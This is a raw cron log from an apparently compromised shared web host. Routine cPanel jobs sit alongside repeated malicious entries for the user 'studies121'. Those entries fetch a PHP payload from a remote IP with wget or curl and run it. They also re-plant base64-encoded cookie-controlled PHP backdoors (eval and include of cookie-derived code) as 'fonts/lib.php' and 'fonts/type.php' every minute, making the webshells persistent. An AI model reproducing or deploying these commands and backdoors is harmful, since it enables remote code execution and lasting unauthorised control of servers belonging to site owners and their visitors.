Sep 10 20:18:01 ip-184-168-122-23 CROND[3812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:18:01 ip-184-168-122-23 CROND[3815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:18:01 ip-184-168-122-23 CROND[3814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:18:01 ip-184-168-122-23 CROND[3819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:18:01 ip-184-168-122-23 CROND[3817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:19:01 ip-184-168-122-23 CROND[3921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:19:01 ip-184-168-122-23 CROND[3922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:19:01 ip-184-168-122-23 CROND[3923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:19:01 ip-184-168-122-23 CROND[3925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:20:01 ip-184-168-122-23 CROND[4035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:20:02 ip-184-168-122-23 CROND[4044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:20:02 ip-184-168-122-23 CROND[4040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:20:02 ip-184-168-122-23 CROND[4041]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:20:02 ip-184-168-122-23 CROND[4042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:20:02 ip-184-168-122-23 CROND[4043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:20:02 ip-184-168-122-23 CROND[4045]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:20:02 ip-184-168-122-23 CROND[4047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:20:02 ip-184-168-122-23 CROND[4046]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 20:21:01 ip-184-168-122-23 CROND[4165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:21:01 ip-184-168-122-23 CROND[4167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:21:01 ip-184-168-122-23 CROND[4169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:21:01 ip-184-168-122-23 CROND[4168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:22:01 ip-184-168-122-23 CROND[4257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:22:01 ip-184-168-122-23 CROND[4259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:22:01 ip-184-168-122-23 CROND[4260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:22:01 ip-184-168-122-23 CROND[4261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:22:01 ip-184-168-122-23 CROND[4263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:23:01 ip-184-168-122-23 CROND[4437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:23:01 ip-184-168-122-23 CROND[4440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:23:01 ip-184-168-122-23 CROND[4439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:23:01 ip-184-168-122-23 CROND[4438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:24:01 ip-184-168-122-23 CROND[4533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:24:01 ip-184-168-122-23 CROND[4535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:24:01 ip-184-168-122-23 CROND[4537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:24:01 ip-184-168-122-23 CROND[4536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:24:01 ip-184-168-122-23 CROND[4538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:25:01 ip-184-168-122-23 CROND[4632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:25:01 ip-184-168-122-23 CROND[4636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:25:01 ip-184-168-122-23 CROND[4638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:25:01 ip-184-168-122-23 CROND[4637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:25:01 ip-184-168-122-23 CROND[4634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:25:01 ip-184-168-122-23 CROND[4635]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 20:25:01 ip-184-168-122-23 CROND[4639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:26:01 ip-184-168-122-23 CROND[4761]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 10 20:26:01 ip-184-168-122-23 CROND[4762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:26:01 ip-184-168-122-23 CROND[4765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:26:01 ip-184-168-122-23 CROND[4769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:26:01 ip-184-168-122-23 CROND[4770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:26:01 ip-184-168-122-23 CROND[4768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 10 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 10 20:27:01 ip-184-168-122-23 CROND[4938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:27:01 ip-184-168-122-23 CROND[4939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:27:01 ip-184-168-122-23 CROND[4942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:27:01 ip-184-168-122-23 CROND[4941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:28:01 ip-184-168-122-23 CROND[5132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:28:01 ip-184-168-122-23 CROND[5134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:28:01 ip-184-168-122-23 CROND[5136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:28:01 ip-184-168-122-23 CROND[5135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:28:01 ip-184-168-122-23 CROND[5137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:29:01 ip-184-168-122-23 CROND[5236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:29:01 ip-184-168-122-23 CROND[5237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:29:01 ip-184-168-122-23 CROND[5240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:29:01 ip-184-168-122-23 CROND[5241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:30:01 ip-184-168-122-23 CROND[5343]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 20:30:01 ip-184-168-122-23 CROND[5345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
